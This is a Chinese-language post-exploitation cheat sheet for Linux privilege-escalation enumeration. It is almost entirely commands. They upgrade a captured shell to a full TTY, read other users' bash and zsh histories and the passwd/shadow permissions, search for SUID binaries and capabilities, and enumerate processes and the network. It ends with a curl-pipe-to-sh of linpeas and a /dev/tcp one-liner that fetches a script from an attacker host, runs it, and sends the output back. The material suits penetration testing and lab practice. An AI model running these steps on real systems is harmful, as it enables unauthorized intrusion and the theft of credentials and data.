Linux 提权枚举
Linux Privilege Escalation Enumeration
软件枚举
获取权限后,首先查看目标机器本地有安装哪些程序
$ which python python2 python3 perl java ruby cc gcc make nc ncat netcat vi vim nvim wget curl tftp ftp git tmux screen nohup nmap 2>/dev/null
编译器、解释器
python python2 python3 java perl cc gcc ruby make
编辑器
vi vim nvim nano emacs
上传下载
curl wget git ftp tftp
网络通讯
nc ncat netcat nmap
守护进程
tmux screen nohup
终端升级
TTY
获取一个完整的 tty 很多命令会需要 tty 才能执行,例如 su、sudo
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ script /dev/null -c /bin/bash
$ /bin/sh -i
$ perl -e 'exec "/bin/sh";'
$ perl: exec "/bin/sh";
$ ruby: exec "/bin/sh"
$ lua: os.execute('/bin/sh')
特殊指令
可以执行像 [TAB]、[↑↓←→]、[Ctrl + C] 等指令。
[Ctrl + Z] 挂起
$ stty raw -echo; fg
高级监听
$ rlwrap nc -lvnp <port>
终端类型变量
影响如 clear、vim 等终端交互操作
$ export TERM=xterm
$ export TERM=xterm-256color
信息收集枚举
用户信息
$ whoami
$ id
$ w
$ who
$ last
$ history
$ cat /home/*/bash_history
$ cat /home/*/zsh_history
$ sudo -l
$ ls -la /etc/passwd /etc/shadow
$ cat /etc/passwd | grep home | grep -v nologin
系统信息
$ uname -a
$ lsb_release -a
$ cat /proc/version
$ cat /etc/issue
$ cat /etc/*release
$ cat /etc/crontab
$ echo $PATH
$ env
$ cat /etc/fstab
网络信息
$ ip addr || ifconfig
$ ip route || route
$ ip neigh
$ arp -a
$ hostnamectl || hostname
$ cat /etc/hosts
$ netstat -lntup
$ netstat -ano
$ lsof -i
特殊权限
$ find / -perm -u=s -type f 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
$ getcap -r / 2>/dev/null
进程信息
$ ps aux
$ ps axjf
$ top -n 1
自动化枚举
手法
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
$ 代表攻击机器(192.168.56.1) % 代表目标机(192.168.56.101)
$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ sudo nc -q 5 -lvnp 2231 < linpeas.sh
$ sudo nv -lnvp 2232 | tee linpeas.log
% cat < /dev/tcp/192.168.56.1/2231 | sh > /dev/tcp/192.168.56.1/2232
